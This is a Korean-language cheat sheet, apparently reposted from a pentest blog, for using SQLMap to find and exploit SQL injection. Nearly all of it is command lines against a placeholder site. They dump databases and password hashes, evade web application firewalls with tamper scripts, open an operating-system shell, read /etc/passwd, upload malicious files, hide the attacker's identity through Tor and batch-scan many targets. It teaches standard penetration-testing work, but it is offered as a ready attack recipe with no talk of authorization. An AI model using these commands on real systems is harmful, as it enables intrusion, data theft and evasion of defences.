>  기사  >  백엔드 개발  >  SQLMap 치트 시트: 자동 SQL 주입을 위한 빠른 가이드

SQLMap 치트 시트: 자동 SQL 주입을 위한 빠른 가이드

Linda Hamilton
Linda Hamilton원래의
2024-09-26 15:30:02803검색

SQLMap Cheat Sheet: A Quick Guide for Automated SQL Injection

작가: 트릭스 사이러스

SQLMap이란 무엇인가요?
SQLMap은 웹 애플리케이션의 SQL 주입 취약점을 탐지하고 악용하는 데 사용되는 오픈 소스 침투 테스트 도구입니다. MySQL, PostgreSQL, Oracle, Microsoft SQL Server 등과 같은 다양한 데이터베이스 시스템을 지원합니다.

기본 사용법
SQLMap을 시작하려면 대상 URL을 제공하여 가장 간단한 형식으로 실행할 수 있습니다.

sqlmap -u "http://example.com/index.php?id=1"

이 명령은 대상 URL에서 SQL 주입 취약점을 검사합니다.

1. 취약점 감지
기본 취약점 검사를 수행하고 SQL 주입 지점을 자동으로 감지하려면 다음 옵션을 사용하세요.

sqlmap -u "http://example.com/index.php?id=1" --dbs

--dbs: 취약점이 발견되면 대상 서버에서 사용 가능한 모든 데이터베이스를 나열합니다.

2. POST 요청 지정

POST 요청(일반적으로 로그인 양식)이 필요한 대상의 경우 다음과 같이 데이터를 지정할 수 있습니다.

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"

3. WAF 및 필터 우회

웹 애플리케이션 방화벽(WAF)을 회피하기 위해 SQLMap에는 페이로드 난독화 기술이 포함되어 있습니다.

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment

--tamper: 변조 스크립트를 사용하여 필터를 회피합니다. 예: space2comment, charencode.

4. 데이터베이스, 테이블, 컬럼 추출
대상 시스템의 데이터베이스 목록을 얻으려면:

sqlmap -u "http://example.com/index.php?id=1" --dbs

데이터베이스가 식별되면 해당 테이블을 추출합니다.

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables

특정 테이블에서 열을 가져오려면:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns

5. 데이터 덤핑

테이블 내용을 덤프하는 것은 SQLMap의 가장 유용한 기능 중 하나입니다. 예를 들어, 특정 테이블의 모든 데이터를 덤프하려면:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump

6. 데이터베이스 사용자 및 비밀번호 열거

SQLMap은 데이터베이스 사용자를 열거하고 해시된 비밀번호를 해독하는 데에도 사용할 수 있습니다.

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords

7. 운영 체제 액세스

경우에 따라, 특히 데이터베이스 사용자에게 높은 수준의 권한이 있는 경우 SQLMap을 사용하여 운영 체제에서 명령을 실행할 수 있습니다.

sqlmap -u "http://example.com/index.php?id=1" --os-shell

이것은 대상 시스템에서 명령을 실행할 수 있는 대화형 셸을 제공합니다.

8. 파일 업로드 및 읽기

대상 시스템에서 파일을 읽거나 악성 파일을 업로드할 수도 있습니다(허용되는 경우):

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"

9. 익명성을 위해 Tor 사용

신원을 숨기려면 Tor 네트워크를 통해 SQLMap을 실행할 수 있습니다.

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor

--tor: Tor를 활성화합니다.
--check-tor: Tor를 통해 연결이 되었는지 확인합니다.

10. 세션 저장 및 재개

SQLMap을 사용하면 --session 옵션을 사용하여 진행 상황을 저장하고 재개할 수 있습니다.

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name

나중에 다음과 같은 방법으로 동일한 세션을 재개할 수 있습니다.

sqlmap -r your_session_name

11. 상세 모드

SQLMap이 수행하는 작업에 대한 자세한 정보를 보려면:

sqlmap -u "http://example.com/index.php?id=1" -v 3

-v 옵션은 자세한 내용을 제어합니다(0~6 수준, 6은 모든 세부 정보 표시).

  1. 여러 대상에 대한 자동 스캔

SQLMap은 파일에 저장된 여러 URL 검색을 지원합니다.

sqlmap -m urls.txt --batch

--batch: 기본 옵션을 사용하여 모든 프롬프트에 자동으로 응답하며 자동 스캔에 유용합니다.

검사를 진행하려면 --risk=3 및 --level=5도 사용하세요
이 치트 시트를 사용하여 독자에게 SQLMap의 필수 명령을 소개하고 SQL 주입 테스트를 시작하는 데 도움을 줄 수 있습니다.

~트릭스섹

위 내용은 SQLMap 치트 시트: 자동 SQL 주입을 위한 빠른 가이드의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.